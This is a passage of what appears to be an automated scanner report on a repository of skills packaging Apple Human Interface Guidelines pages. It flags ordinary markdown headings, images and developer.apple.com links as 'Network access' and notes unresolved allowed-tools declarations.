    ![A sketch of axes in the X, Y, and Z dimensions, suggesting three-dimensional layout. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](h
  • Network accessline 11
    ## [Field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-view)
  • Network accessline 15
    ![A screenshot of a blank app window in visionOS. A series of concentric circles overlay the image, conveying 30-, 60-, and 90-degree fields of view.](https://docs-assets.developer.apple.com/published/88086621da558b375ed5ef8ea0002283/vision
  • Network accessline 42
    ## [Depth](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Depth)
  • Network accessline 46
    Because people can view your content from any angle, incorporating small amounts of depth throughout your interface — even in standard windows — can help it look more natural. When you use SwiftUI, the system adds visual effects to views in
  • Network accessline 48
    ![A screenshot of a 2D Notes window in visionOS. A note titled Nature Walks is open on the trailing side of the view, with sketches of leaves accompanied by handwritten text descriptions.](https://docs-assets.developer.apple.com/published/2
  • Network accessline 50
    If you need to present content with additional depth, you use RealityKit to create a 3D object (for developer guidance, see [RealityKit](https://developer.apple.com/documentation/RealityKit)). You can display the 3D object anywhere, or you 
  • Network accessline 66
    ## [Scale](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Scale)
  • Network accessline 86
    To support dynamic scaling and the appearance of depth, visionOS defines a point as an angle, in contrast to other platforms, which define a point as a number of pixels that can vary with the [resolution](https://developer.apple.com/design/
  • Network accessline 90
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Best-practices)
  • Network accessline 94
    **Prioritize standard, indirect gestures.** People can make an _indirect_ gesture without moving their hand into their field of view. In contrast, making a _direct_ gesture requires people to touch the virtual object with their finger, whic
  • Network accessline 96
    **Rely on the Digital Crown to help people recenter windows in their field of view.** When people move or turn their head, content might no longer appear where they want it to. If this happens, people can press the [Digital Crown](https://d
  • Network accessline 98
    **Include enough space around interactive components to make them easy for people to look at.** When people look at an interactive element, visionOS displays a visual hover effect that helps them confirm the element is the one they want. It
  • Network accessline 104
    To learn more about windows and volumes in visionOS, see [Windows > visionOS](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS); for guidance on laying content within a window, see [Layout > visionOS](https://d
  • Network accessline 106
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Platform-considerations)
  • Network accessline 110
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Resources)
  • Network accessline 112
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Related)
  • Network accessline 114
    [Eyes](https://developer.apple.com/design/human-interface-guidelines/eyes)
  • Network accessline 116
    [Layout](https://developer.apple.com/design/human-interface-guidelines/layout)
  • Network accessline 118
    [Immersive experiences](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences)
  • Network accessline 120
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Developer-documentation)
  • Network accessline 122
    [Presenting windows and spaces](https://developer.apple.com/documentation/visionOS/presenting-windows-and-spaces) — visionOS
  • Network accessline 124
    [Positioning and sizing windows](https://developer.apple.com/documentation/visionOS/positioning-and-sizing-windows) — visionOS
  • Network accessline 126
    [Adding 3D content to your app](https://developer.apple.com/documentation/visionOS/adding-3d-content-to-your-app) — visionOS
  • Network accessline 128
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Videos)
  • Network accessline 130
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/2EFC2AAC-0656-4A18-B4C9-8E23CCD81E90/9989_wide_250x141_1x.jpg) Meet SwiftUI spatial layout ](https://developer.apple.com/videos/play/wwdc2025/273
  • Network accessline 132
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/15489B11-8744-483D-AD38-EF78D8962FF4/8126_wide_250x141_1x.jpg) Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10
  • Network accessline 134
    [![](https://devimages-cdn.apple.com/wwdc-services/images/D35E0E85-CCB6-41A1-B227-7995ECD83ED5/38E4EE32-29B5-4478-B8B6-35B8ACA67B16/8130_wide_250x141_1x.jpg) Design for spatial user interfaces ](https://developer.apple.com/videos/play/wwdc2
  • Network accessline 136
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Change-log)

skills/hig-foundations/references/typography.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Typography | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/typography
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/typography
  • Network accessline 9
    ![A sketch of a small letter A to the left of a large letter A, suggesting the use of typography to convey hierarchical information. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the y
  • Network accessline 11
    ## [Ensuring legibility](https://developer.apple.com/design/human-interface-guidelines/typography#Ensuring-legibility)
  • Network accessline 25
    ![A screenshot that shows a game running on iPhone in landscape. A name appears above each of 3 plants and a status message appears in a rounded rectangle in the top-right corner. All text uses a size that's too small, and the 3 plant names
  • Network accessline 29
    ![A screenshot that shows a game running on iPhone in landscape. A name appears within a shaded lozenge shape above each of 3 plants and a status message appears in a rounded rectangle in the top-right corner. All text uses a size that's at
  • Network accessline 35
    ## [Conveying hierarchy](https://developer.apple.com/design/human-interface-guidelines/typography#Conveying-hierarchy)
  • Network accessline 43
    ## [Using system fonts](https://developer.apple.com/design/human-interface-guidelines/typography#Using-system-fonts)
  • Network accessline 49
    ![The phrase 'The quick brown fox jumps over the lazy dog.' shown in the San Francisco Pro font.](https://docs-assets.developer.apple.com/published/e270b0f4e91f523bb7372a39447ad4e4/typography-sanfrancisco%402x.png)
  • Network accessline 55
    ![The phrase 'The quick brown fox jumps over the lazy dog.' shown in the New York font.](https://docs-assets.developer.apple.com/published/8dcb4d6f97b97a957a0d73e4ee85730c/typography-new-york%402x.png)
  • Network accessline 57
    You can download the San Francisco and New York fonts [here](https://developer.apple.com/fonts/).
  • Network accessline 67
    ![The word 'text' shown in the SF Pro font, repeated in two rows of nine columns each. The rows show upright and italic styles, and the columns show font weights ranging from ultralight to black.](https://docs-assets.developer.apple.com/pub
  • Network accessline 71
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols) provides a comprehensive library of symbols that integrate seamlessly with the San Francisco system font, automatically aligning with text in all weights
  • Network accessline 75
    **Consider using the built-in text styles.** The system-defined text styles give you a convenient and consistent way to convey your information hierarchy through font size and weight. Using text styles with the system fonts also ensures sup
  • Network accessline 77
    **Modify the built-in text styles if necessary.** System APIs define font adjustments — called _symbolic traits_ — that let you modify some aspects of a text style. For example, the bold trait adds weight to text, letting you create another
  • Network accessline 81
    You can use the constants defined in [`Font.Design`](https://developer.apple.com/documentation/SwiftUI/Font/Design) to access all system fonts — don’t embed system fonts in your app or game. For example, use [`Font.Design.default`](https://
  • Network accessline 83
    **If necessary, adjust tracking in interface mockups.** In a running app, the system font dynamically adjusts tracking at every point size. To produce an accurate interface mockup of an interface that uses the variable system fonts, you don
  • Network accessline 85
    ## [Using custom fonts](https://developer.apple.com/design/human-interface-guidelines/typography#Using-custom-fonts)
  • Network accessline 87
    **Make sure custom fonts are legible.** People need to be able to read your custom font easily at various viewing distances and under a variety of conditions. While using a custom font, be guided by the recommended minimum font sizes for va
  • Network accessline 89
    **Implement accessibility features for custom fonts.** System fonts automatically support Dynamic Type (where available) and respond when people turn on accessibility features, such as Bold Text. If you use a custom font, make sure it imple
  • Network accessline 91
    ## [Supporting Dynamic Type](https://developer.apple.com/design/human-interface-guidelines/typography#Supporting-Dynamic-Type)
  • Network accessline 93
    Dynamic Type is a system-level feature in iOS, iPadOS, tvOS, visionOS, and watchOS that lets people adjust the size of visible text on their device to ensure readability and comfort. For related guidance, see [Accessibility](https://develop
  • Network accessline 95
    ![A screenshot of a Mail message on iPhone, using the default font size. From the left, the message header displays the sender's contact photo or initials, followed by a two-line layout with the sender name and date on top and the recipient
  • Network accessline 99
    ![A screenshot of a Mail message on iPhone, using the largest accessibility font size. From the top, the message header displays the sender name on one line, followed by the truncated recipient name on the next line, and the date and attach
  • Network accessline 103
    For a list of available Dynamic Type sizes, see [Specifications](https://developer.apple.com/design/human-interface-guidelines/typography#Specifications). You can also download Dynamic Type size tables in the [Apple Design Resources](https:
  • Network accessline 105
    For developer guidance, see [Text input and output](https://developer.apple.com/documentation/SwiftUI/Text-input-and-output). To support Dynamic Type in Unity-based games, use [Apple’s Unity plug-ins](https://github.com/apple/unityplugins).
  • Network accessline 109
    **Increase the size of meaningful interface icons as font size increases.** If you use interface icons to communicate important information, make sure they’re easy to view at larger font sizes too. When you use [SF Symbols](https://develope
  • Network accessline 111
    **Keep text truncation to a minimum as font size increases.** In general, aim to display as much useful text at the largest accessibility font size as you do at the largest standard font size. Avoid truncating text in scrollable regions unl
  • Network accessline 113
    **Consider adjusting your layout at large font sizes.** When font size increases in a horizontally constrained context, inline items (like glyphs and timestamps) and container boundaries can crowd text and cause truncation or overlapping. T
  • Network accessline 117
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/typography#Platform-considerations)
  • Network accessline 119
    ### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS)
  • Network accessline 123
    ### [macOS](https://developer.apple.com/design/human-interface-guidelines/typography#macOS)
  • Network accessline 129
    Dynamic font variant| API   ---|---   Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\))
  • Network accessline 130
    ---|---   Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\))   Label| [`labelFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/labelF
  • Network accessline 131
    Control content| [`controlContentFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/controlContentFont\(ofSize:\))
  • Network accessline 132
    Label| [`labelFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/labelFont\(ofSize:\))
  • Network accessline 133
    Menu| [`menuFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/menuFont\(ofSize:\))
  • Network accessline 134
    Menu bar| [`menuBarFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/menuBarFont\(ofSize:\))
  • Network accessline 135
    Message| [`messageFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/messageFont\(ofSize:\))
  • Network accessline 136
    Palette| [`paletteFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/paletteFont\(ofSize:\))
  • Network accessline 137
    Title| [`titleBarFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/titleBarFont\(ofSize:\))
  • Network accessline 138
    Tool tips| [`toolTipsFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/toolTipsFont\(ofSize:\))
  • Network accessline 139
    Document text (user)| [`userFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/userFont\(ofSize:\))
  • Network accessline 140
    Monospaced document text (user fixed pitch)| [`userFixedPitchFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/userFixedPitchFont\(ofSize:\))
  • Network accessline 141
    Bold system font| [`boldSystemFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/boldSystemFont\(ofSize:\))
  • Network accessline 142
    System font| [`systemFont(ofSize:)`](https://developer.apple.com/documentation/AppKit/NSFont/systemFont\(ofSize:\))
  • Network accessline 144
    ### [tvOS](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS)
  • Network accessline 148
    ### [visionOS](https://developer.apple.com/design/human-interface-guidelines/typography#visionOS)
  • Network accessline 152
    visionOS uses bolder versions of the Dynamic Type body and title styles and it introduces Extra Large Title 1 and Extra Large Title 2 for wide, editorial-style layouts. For guidance using vibrancy to indicate hierarchy in text and symbols, 
  • Network accessline 156
    ![A screenshot that shows the correct placement of 2D text on a window in visionOS.](https://docs-assets.developer.apple.com/published/b7eca42cb50603b5ae1630781ce6d4c7/visionos-typography-2d-text-correct%402x.png)
  • Network accessline 158
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 160
    ![A screenshot that shows the incorrect placement of 3D text on a window in visionOS.](https://docs-assets.developer.apple.com/published/8568cd71b363e427fb91a874b8c30aa8/visionos-typography-3d-text-incorrect%402x.png)
  • Network accessline 162
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 172
    ### [watchOS](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS)
  • Network accessline 176
    ## [Specifications](https://developer.apple.com/design/human-interface-guidelines/typography#Specifications)
  • Network accessline 178
    You can display emphasized variants of system text styles using symbolic traits. In SwiftUI, use the [`bold()`](https://developer.apple.com/documentation/SwiftUI/Text/bold\(\)) modifier; in UIKit, use [`traitBold`](https://developer.apple.c
  • Network accessline 180
    ### [iOS, iPadOS Dynamic Type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-Dynamic-Type-sizes)
  • Network accessline 192
    #### [xSmall](https://developer.apple.com/design/human-interface-guidelines/typography#xSmall)
  • Network accessline 210
    #### [Small](https://developer.apple.com/design/human-interface-guidelines/typography#Small)
  • Network accessline 228
    #### [Medium](https://developer.apple.com/design/human-interface-guidelines/typography#Medium)
  • Network accessline 246
    #### [Large (default)](https://developer.apple.com/design/human-interface-guidelines/typography#Large-default)
  • Network accessline 264
    #### [xLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xLarge)
  • Network accessline 282
    #### [xxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxLarge)
  • Network accessline 300
    #### [xxxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxxLarge)
  • Network accessline 318
    ### [iOS, iPadOS larger accessibility type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-larger-accessibility-type-sizes)
  • Network accessline 328
    #### [AX1](https://developer.apple.com/design/human-interface-guidelines/typography#AX1)
  • Network accessline 346
    #### [AX2](https://developer.apple.com/design/human-interface-guidelines/typography#AX2)
  • Network accessline 364
    #### [AX3](https://developer.apple.com/design/human-interface-guidelines/typography#AX3)
  • Network accessline 382
    #### [AX4](https://developer.apple.com/design/human-interface-guidelines/typography#AX4)
  • Network accessline 400
    #### [AX5](https://developer.apple.com/design/human-interface-guidelines/typography#AX5)
  • Network accessline 418
    ### [macOS built-in text styles](https://developer.apple.com/design/human-interface-guidelines/typography#macOS-built-in-text-styles)
  • Network accessline 436
    ### [tvOS built-in text styles](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS-built-in-text-styles)
  • Network accessline 452
    ### [watchOS Dynamic Type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-Dynamic-Type-sizes)
  • Network accessline 463
    #### [xSmall](https://developer.apple.com/design/human-interface-guidelines/typography#xSmall)
  • Network accessline 478
    #### [Small (default 38mm)](https://developer.apple.com/design/human-interface-guidelines/typography#Small-default-38mm)
  • Network accessline 493
    #### [Large (default 40mm/41mm/42mm)](https://developer.apple.com/design/human-interface-guidelines/typography#Large-default-40mm41mm42mm)
  • Network accessline 508
    #### [xLarge (default 44mm/45mm/49mm)](https://developer.apple.com/design/human-interface-guidelines/typography#xLarge-default-44mm45mm49mm)
  • Network accessline 523
    #### [xxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxLarge)
  • Network accessline 538
    #### [xxxLarge](https://developer.apple.com/design/human-interface-guidelines/typography#xxxLarge)
  • Network accessline 553
    ### [watchOS larger accessibility type sizes](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-larger-accessibility-type-sizes)
  • Network accessline 561
    #### [AX1](https://developer.apple.com/design/human-interface-guidelines/typography#AX1)
  • Network accessline 576
    #### [AX2](https://developer.apple.com/design/human-interface-guidelines/typography#AX2)
  • Network accessline 591
    #### [AX3](https://developer.apple.com/design/human-interface-guidelines/typography#AX3)
  • Network accessline 606
    ### [Tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#Tracking-values)
  • Network accessline 608
    #### [iOS, iPadOS, visionOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#iOS-iPadOS-visionOS-tracking-values)
  • Network accessline 616
    #### [SF Pro](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Pro)
  • Network accessline 687
    #### [SF Pro Rounded](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Pro-Rounded)
  • Network accessline 758
    #### [New York](https://developer.apple.com/design/human-interface-guidelines/typography#New-York)
  • Network accessline 822
    #### [macOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#macOS-tracking-values)
  • Network accessline 893
    #### [tvOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#tvOS-tracking-values)
  • Network accessline 964
    #### [watchOS tracking values](https://developer.apple.com/design/human-interface-guidelines/typography#watchOS-tracking-values)
  • Network accessline 971
    #### [SF Compact](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Compact)
  • Network accessline 1042
    #### [SF Compact Rounded](https://developer.apple.com/design/human-interface-guidelines/typography#SF-Compact-Rounded)
  • Network accessline 1113
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/typography#Resources)
  • Network accessline 1115
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/typography#Related)
  • Network accessline 1117
    [Fonts for Apple platforms](https://developer.apple.com/fonts/)
  • Network accessline 1119
    [SF Symbols](https://developer.apple.com/design/human-interface-guidelines/sf-symbols)
  • Network accessline 1121
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/typography#Developer-documentation)
  • Network accessline 1123
    [Text input and output](https://developer.apple.com/documentation/SwiftUI/Text-input-and-output) — SwiftUI
  • Network accessline 1125
    [Text display and fonts](https://developer.apple.com/documentation/UIKit/text-display-and-fonts) — UIKit
  • Network accessline 1127
    [Fonts](https://developer.apple.com/documentation/AppKit/fonts) — AppKit
  • Network accessline 1129
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/typography#Videos)
  • Network accessline 1131
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/E4CD1309-352A-444E-96A5-FB5D6BA69725/9167_wide_250x141_1x.jpg) Get started with Dynamic Type ](https://developer.apple.com/videos/play/wwdc2024/1
  • Network accessline 1133
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/F688D32F-15D2-4082-9505-DB2FA7FE0B0B/6736_wide_250x141_1x.jpg) Meet the expanded San Francisco font family ](https://developer.apple.com/videos/play/wwdc2022/110381)
  • Network accessline 1135
    [![](https://devimages-cdn.apple.com/wwdc-services/images/49/EA12E035-968D-4B74-AC8D-26CFD8F365A7/3823_wide_250x141_1x.jpg) The details of UI typography ](https://developer.apple.com/videos/play/wwdc2020/10175)
  • Network accessline 1137
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/typography#Change-log)

skills/hig-foundations/references/writing.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Writing | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/writing
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/writing
  • Network accessline 9
    ![A sketch of a document and pencil, suggesting written content. The image is overlaid with rectangular and circular grid lines and is tinted yellow to subtly reflect the yellow in the original six-color Apple logo.](https://docs-assets.dev
  • Network accessline 13
    ## [Getting started](https://developer.apple.com/design/human-interface-guidelines/writing#Getting-started)
  • Network accessline 21
    ![A screenshot of a Fall Detection message that reads: it looks like you've taken a hard fall.](https://docs-assets.developer.apple.com/published/6f5dc2b2e349ff901f831b3ba2c109c5/writing-fall-detection-message%402x.png)
  • Network accessline 23
    ![A screenshot of an Activity message that reads: you set a personal record for your longest daily Move streak, 35 days!](https://docs-assets.developer.apple.com/published/55bb6afa80bc2f2034a1909d7f672bfc/writing-move-streak-message%402x.pn
  • Network accessline 27
    **Write for everyone.** For your app to be useful for as many people as possible, it needs to speak to as many people as possible. Choose simple, plain language and write with accessibility and localization in mind, avoiding jargon and gend
  • Network accessline 29
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/writing#Best-practices)
  • Network accessline 37
    **Adopt capitalization rules that align with your app’s style, then apply them consistently.** While certain components, like [button labels](https://developer.apple.com/design/human-interface-guidelines/buttons#Content), have specific guid
  • Network accessline 51
    **Choose the right delivery method.** There are many ways to get people’s attention, whether or not they are actively using your app. When there’s something you want to communicate, consider the urgency and importance of the message. Think 
  • Network accessline 55
    ![A partial screenshot showing the Handwashing Timer description, which reads: Apple Watch can detect when you're washing your hands and start a 20-second timer.](https://docs-assets.developer.apple.com/published/f368879d77e8dfdff158067bc38
  • Network accessline 57
    If you need to direct someone to a setting, provide a direct link or button, rather than trying to describe its location. For guidance, see [Settings](https://developer.apple.com/design/human-interface-guidelines/settings).
  • Network accessline 59
    **Show hints in text fields.** If your app allows people to enter their own text, like account or contact information, label all fields clearly, and use hint or placeholder text so people know how to format the information. You can give an 
  • Network accessline 61
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/writing#Platform-considerations)
  • Network accessline 65
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/writing#Resources)
  • Network accessline 67
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/writing#Related)
  • Network accessline 69
    [Apple Style Guide](https://help.apple.com/applestyleguide/#/)
  • Network accessline 71
    [Writing inclusively](https://help.apple.com/applestyleguide/#/apdcb2a65d68)
  • Network accessline 73
    [Inclusion](https://developer.apple.com/design/human-interface-guidelines/inclusion)
  • Network accessline 75
    [Accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility)
  • Network accessline 77
    [Color](https://developer.apple.com/design/human-interface-guidelines/color)
  • Network accessline 79
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/writing#Videos)
  • Network accessline 81
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/B533077E-165E-43D5-98B8-DBF95101C0B2/10001_wide_250x141_1x.jpg) Make a big impact with small writing changes ](https://developer.apple.com/videos
  • Network accessline 83
    [![](https://devimages-cdn.apple.com/wwdc-services/images/124/E58B8A59-15C1-4FB4-B61A-23DBA2AF6D28/6530_wide_250x141_1x.jpg) Writing for interfaces ](https://developer.apple.com/videos/play/wwdc2022/10037)
  • Network accessline 85
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/writing#Change-log)

skills/hig-inputs/SKILL.md

  • Network accessline 118
    *Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*

skills/hig-inputs/references/apple-pencil-and-scribble.md

  • Broad permissionsline 1
    Unsupported or unresolved allowed-tools declaration
  • Network accessline 1
    --- title: "Apple Pencil and Scribble | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble
  • Network accessline 3
    source: https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble
  • Network accessline 9
    ![A sketch of a scribble mark, suggesting drawing with Apple Pencil. The image is overlaid with rectangular and circular grid lines and is tinted purple to subtly reflect the purple in the original six-color Apple logo.](https://docs-assets
  • Network accessline 13
    For details on Apple Pencil features and compatibility, see [Apple Pencil](https://www.apple.com/apple-pencil/).
  • Network accessline 15
    ## [Best practices](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Best-practices)
  • Network accessline 23
    **Help people express themselves by responding to the way they use Apple Pencil.** Apple Pencil may sense tilt (altitude), force (pressure), orientation (azimuth), and [barrel roll](https://developer.apple.com/design/human-interface-guideli
  • Network accessline 25
    ![An illustration of Apple Pencil tilted up from a horizontal line by 45 degrees.](https://docs-assets.developer.apple.com/published/71e341540baa3fa3bd5bdf01a55cc8a8/apple-pencil-altitude%402x.png)Altitude
  • Network accessline 27
    ![An illustration of Apple Pencil drawing a curved line that increases in thickness as more pressure is applied to the tool.](https://docs-assets.developer.apple.com/published/ce6370f2a90cf23b39ee77f7ba64ff02/apple-pencil-pressure%402x.png)
  • Network accessline 29
    ![An illustration of Apple Pencil balancing on its tip at the center of a circle that has degree marks around its circumference. A line from the center of the circle to one of the degree marks indicates the angle at which Apple Pencil is ti
  • Network accessline 35
    ![An illustration of an iPad app that shows a stack of three circular controls on both side edges. A drawing of a person’s left hand holding an Apple Pencil is shown at the bottom-left corner of the screen, partially obscuring the controls 
  • Network accessline 37
    ![An illustration of an iPad app that shows a stack of three circular controls on both side edges. A drawing of a person’s right hand holding an Apple Pencil is shown at the bottom-right corner of the screen, partially obscuring the control
  • Network accessline 39
    ## [Hover](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Hover)
  • Network accessline 47
    ![An illustration of Apple Pencil hovering slightly above a gray rectangle that represents the screen. A small blue oval beneath the tip represents a preview.](https://docs-assets.developer.apple.com/published/d18ccebb3a51a66f6c6151bc1414d9
  • Network accessline 49
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 51
    ![An illustration of Apple Pencil hovering slightly above a gray rectangle that represents the screen. A medium blue oval beneath the tip represents a preview.](https://docs-assets.developer.apple.com/published/4c5b24f4381fc1ed83af48f2a7ae3
  • Network accessline 53
    ![A checkmark in a circle to indicate correct usage.](https://docs-assets.developer.apple.com/published/88662da92338267bb64cd2275c84e484/checkmark%402x.png)
  • Network accessline 55
    ![An illustration of Apple Pencil hovering slightly above a gray rectangle that represents the screen. A large blue oval beneath the tip represents a preview.](https://docs-assets.developer.apple.com/published/50d3aa8162579aced9bd752b856b5f
  • Network accessline 57
    ![An X in a circle to indicate incorrect usage.](https://docs-assets.developer.apple.com/published/209f6f0fc8ad99d9bf59e12d82d06584/crossout%402x.png)
  • Network accessline 59
    **Consider using hover to support relevant interactions close to where people are marking.** For example, you might respond to hover by displaying a contextual menu of tool sizes when people perform a gesture like [squeeze](https://develope
  • Network accessline 61
    **Prefer showing hover previews for Apple Pencil, not for a pointing device.** Although a pointing device can also respond to hover gestures, it might be confusing to provide the same visual feedback for both devices. If it makes sense in y
  • Network accessline 63
    ## [Double tap](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Double-tap)
  • Network accessline 71
    ## [Squeeze](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Squeeze)
  • Network accessline 73
    Using Apple Pencil Pro, people can squeeze to perform an action. You can design a custom behavior that responds to squeeze, but recognize that people may choose to configure the squeeze gesture to run an [App Shortcut](https://developer.app
  • Network accessline 85
    ## [Barrel roll](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Barrel-roll)
  • Network accessline 91
    ## [Scribble](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Scribble)
  • Network accessline 97
    **Make Scribble available everywhere people might want to enter text.** Unlike using the keyboard, using Apple Pencil encourages people to treat the screen the way they treat a sheet of paper. Help strengthen this perception in your app by 
  • Network accessline 105
    **Give people enough space to write.** A small text field can feel uncomfortable to write in. When you know that Apple Pencil input is likely, improve the writing experience in your app by increasing the size of the text field before people
  • Network accessline 107
    ![An illustration showing a stack of two text fields, where the top field is about half the width of the bottom field. Both text fields contain the word Name in the leading end, followed by a person's signature. The top text field is too na
  • Network accessline 109
    ## [Custom drawing](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Custom-drawing)
  • Network accessline 111
    Using [PencilKit](https://developer.apple.com/documentation/PencilKit), you can let people take notes, annotate documents and images, and draw with the same low-latency experience that iOS provides. PencilKit also makes it easy to create a 
  • Network accessline 115
    **Consider displaying custom undo and redo buttons when your app runs in a compact environment.** In a regular environment, the tool picker includes undo and redo buttons, but in a compact environment it doesn’t. In a compact environment, y
  • Network accessline 117
    ![An illustration of an iPad screen in landscape on the left and an iPhone screen in portrait on the right. Both screens show the tool picker at the bottom edge of the screen. The iPad screen shows the standard undo and redo buttons in the 
  • Network accessline 119
    ## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Platform-considerations)
  • Network accessline 123
    ## [Resources](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Resources)
  • Network accessline 125
    #### [Related](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Related)
  • Network accessline 127
    [Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data)
  • Network accessline 129
    #### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Developer-documentation)
  • Network accessline 131
    [PencilKit](https://developer.apple.com/documentation/PencilKit)
  • Network accessline 133
    [PaperKit](https://developer.apple.com/documentation/PaperKit)
  • Network accessline 135
    #### [Videos](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Videos)
  • Network accessline 137
    [![](https://devimages-cdn.apple.com/wwdc-services/images/3055294D-836B-4513-B7B0-0BC5666246B0/BE1C66C1-9D8C-4EF7-BE9A-A36251A00B86/10006_wide_250x141_1x.jpg) Meet PaperKit ](https://developer.apple.com/videos/play/wwdc2025/285)
  • Network accessline 139
    [![](https://devimages-cdn.apple.com/wwdc-services/images/C03E6E6D-A32A-41D0-9E50-C3C6059820AA/2104DC8F-01CE-453F-AF0E-A499CB193E97/9354_wide_250x141_1x.jpg) Squeeze the most out of Apple Pencil ](https://developer.apple.com/videos/play/wwd
  • Network accessline 141
    ## [Change log](https://developer.apple.com/design/human-interface-guidelines/apple-pencil-and-scribble#Change-log)

skills/hig-inputs/references/camera-control.md

  • Broad permissionsline 1
